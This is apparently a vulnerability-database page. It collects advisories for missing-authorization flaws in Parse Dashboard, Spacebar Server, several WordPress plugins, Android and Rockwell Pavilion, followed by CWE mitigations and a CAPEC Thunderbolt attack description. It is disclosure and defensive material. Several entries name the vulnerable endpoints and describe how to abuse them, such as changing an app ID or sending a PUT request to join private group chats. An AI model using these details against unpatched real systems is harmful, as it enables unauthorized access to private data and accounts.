The AI Agent API endpoint (POST /apps/:appId/agent) does not enforce authorization. Authenticated users scoped to specific apps can access any other app's agent endpoint by changing the app ID in the URL. Read-only users are given the full master key instead of the read-only master key and can supply write permissions in the request body to perform write and delete operations.
Affected are only dashboards with agent configuration enabled.
Patches
The fix adds per-app authorization checks and restricts read-only users to the readOnlyMasterKey with write permissions stripped server-side.
Workarounds
Remove the agent configuration block from your dashboard configuration. Dashboards without an agent config are not affected.
Resources
- GitHub advisory: https://github.com/parse-community/parse-dashboard/security/advisories/GHSA-cvwj-6c9h-jg6v
- Fixed in: https://github.com/parse-community/parse-dashboard/releases/tag/9.0.0-alpha.8
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.0-alpha.7"
},
"package": {
"ecosystem": "npm",
"name": "parse-dashboard"
},
"ranges": [
{
"events": [
{
"introduced": "7.3.0-alpha.42"
},
{
"fixed": "9.0.0-alpha.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27608"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T18:59:44Z",
"nvd_published_at": "2026-02-25T03:16:04Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nThe AI Agent API endpoint (`POST /apps/:appId/agent`) does not enforce authorization. Authenticated users scoped to specific apps can access any other app\u0027s agent endpoint by changing the app ID in the URL. Read-only users are given the full master key instead of the read-only master key and can supply write permissions in the request body to perform write and delete operations.\n\nAffected are only dashboards with `agent` configuration enabled.\n\n### Patches\n\nThe fix adds per-app authorization checks and restricts read-only users to the `readOnlyMasterKey` with write permissions stripped server-side.\n\n### Workarounds\n\nRemove the `agent` configuration block from your dashboard configuration. Dashboards without an `agent` config are not affected.\n\n### Resources\n\n- GitHub advisory: https://github.com/parse-community/parse-dashboard/security/advisories/GHSA-cvwj-6c9h-jg6v\n- Fixed in: https://github.com/parse-community/parse-dashboard/releases/tag/9.0.0-alpha.8",
"id": "GHSA-cvwj-6c9h-jg6v",
"modified": "2026-02-25T18:59:44Z",
"published": "2026-02-25T18:59:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-dashboard/security/advisories/GHSA-cvwj-6c9h-jg6v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27608"
},
{
"type": "PACKAGE",
"url": "https://github.com/parse-community/parse-dashboard"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-dashboard/releases/tag/9.0.0-alpha.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Parse Dashboard is Missing Authorization for its Agent Endpoint"
}
GHSA-CVXJ-CHGR-R353
Vulnerability from github – Published: 2026-08-05 21:31 – Updated: 2026-08-05 21:31Spacebar Server before commit dcfd910 contains a missing authorization vulnerability that allows any authenticated attacker to add themselves to arbitrary group DM channels by sending a PUT request to the channels recipient endpoint without membership verification. Attackers can exploit the unguarded PUT /channels/{channel_id}/recipients/{user_id} handler to join private group DMs, read complete message history, post messages as a participant, and force-add third-party users without their consent.
{
"affected": [],
"aliases": [
"CVE-2026-70617"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T20:17:17Z",
"severity": "HIGH"
},
"details": "Spacebar Server before commit dcfd910 contains a missing authorization vulnerability that allows any authenticated attacker to add themselves to arbitrary group DM channels by sending a PUT request to the channels recipient endpoint without membership verification. Attackers can exploit the unguarded PUT /channels/{channel_id}/recipients/{user_id} handler to join private group DMs, read complete message history, post messages as a participant, and force-add third-party users without their consent.",
"id": "GHSA-cvxj-chgr-r353",
"modified": "2026-08-05T21:31:39Z",
"published": "2026-08-05T21:31:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/spacebarchat/server/security/advisories/GHSA-g38j-78fh-jm74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70617"
},
{
"type": "WEB",
"url": "https://github.com/spacebarchat/server/commit/dcfd91035e3da42abf5f32d8d86a35219225b3d4"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/spacebar-server-missing-authorization-via-group-dm-recipient-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CW24-GR2Q-5J2R
Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32Unauthenticated Broken Access Control in Subscriptions for WooCommerce <= 1.9.5 versions.
{
"affected": [],
"aliases": [
"CVE-2026-56061"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T15:16:45Z",
"severity": "HIGH"
},
"details": "Unauthenticated Broken Access Control in Subscriptions for WooCommerce \u003c= 1.9.5 versions.",
"id": "GHSA-cw24-gr2q-5j2r",
"modified": "2026-06-26T15:32:16Z",
"published": "2026-06-26T15:32:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56061"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/subscriptions-for-woocommerce/vulnerability/wordpress-subscriptions-for-woocommerce-plugin-1-9-5-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CW2P-J4HM-RRP2
Vulnerability from github – Published: 2023-09-11 21:30 – Updated: 2024-04-04 07:36In multiple files, there is a possible way to import a contact from another user due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2023-35665"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-11T21:15:41Z",
"severity": "HIGH"
},
"details": "In multiple files, there is a possible way to import a contact from another user due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-cw2p-j4hm-rrp2",
"modified": "2024-04-04T07:36:29Z",
"published": "2023-09-11T21:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35665"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/packages/services/Telephony/+/674039e70e1c5bf29b808899ac80c709acc82290"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2023-09-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CW2V-Q9HW-55MQ
Vulnerability from github – Published: 2026-06-16 15:33 – Updated: 2026-06-16 15:33A security issue was identified in Pavilion due to improper authorization enforcement in API endpoints. This vulnerability can allow an unauthorized actor to execute privileged operations, including user/role management and other administrative actions.
{
"affected": [],
"aliases": [
"CVE-2025-14272"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-16T15:16:33Z",
"severity": "HIGH"
},
"details": "A security issue was\u00a0identified\u00a0in Pavilion due to improper\u00a0authorization\u00a0enforcement in API endpoints.\u00a0This vulnerability can\u00a0allow an unauthorized actor to execute privileged operations, including user/role management and other administrative actions.",
"id": "GHSA-cw2v-q9hw-55mq",
"modified": "2026-06-16T15:33:51Z",
"published": "2026-06-16T15:33:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14272"
},
{
"type": "WEB",
"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1777.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CW3Q-PVF8-6FVQ
Vulnerability from github – Published: 2026-11-06 12:30 – Updated: 2026-11-06 12:30The VOD Infomaniak plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.5.15. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to initiate unauthorized video imports using the site owner's Infomaniak API credentials, consume the site owner's VOD account quota, and insert arbitrary rows into the wp_vod_upload table causing public shortcodes to resolve to attacker-chosen video content. This action is explicitly reserved for Contributor-level and above by the plugin's own role-rights system, meaning subscriber access is intentionally forbidden by design — the AJAX handler simply omits the enforcement.
{
"affected": [],
"aliases": [
"CVE-2026-115831"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-06T10:16:36Z",
"severity": "MODERATE"
},
"details": "The VOD Infomaniak plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.5.15. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to initiate unauthorized video imports using the site owner\u0027s Infomaniak API credentials, consume the site owner\u0027s VOD account quota, and insert arbitrary rows into the wp_vod_upload table causing public shortcodes to resolve to attacker-chosen video content. This action is explicitly reserved for Contributor-level and above by the plugin\u0027s own role-rights system, meaning subscriber access is intentionally forbidden by design \u2014 the AJAX handler simply omits the enforcement.",
"id": "GHSA-cw3q-pvf8-6fvq",
"modified": "2026-11-06T12:30:36Z",
"published": "2026-11-06T12:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115831"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/vod-infomaniak/tags/1.5.15/vod.class.php#L1790"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/vod-infomaniak/tags/1.5.15/vod.class.php#L388"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/vod-infomaniak/tags/1.5.15/vod.class.php#L92"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3781274%40vod-infomaniak\u0026new=3781274%40vod-infomaniak"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c1c79256-3f59-4137-b81b-e2bb5402c148?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.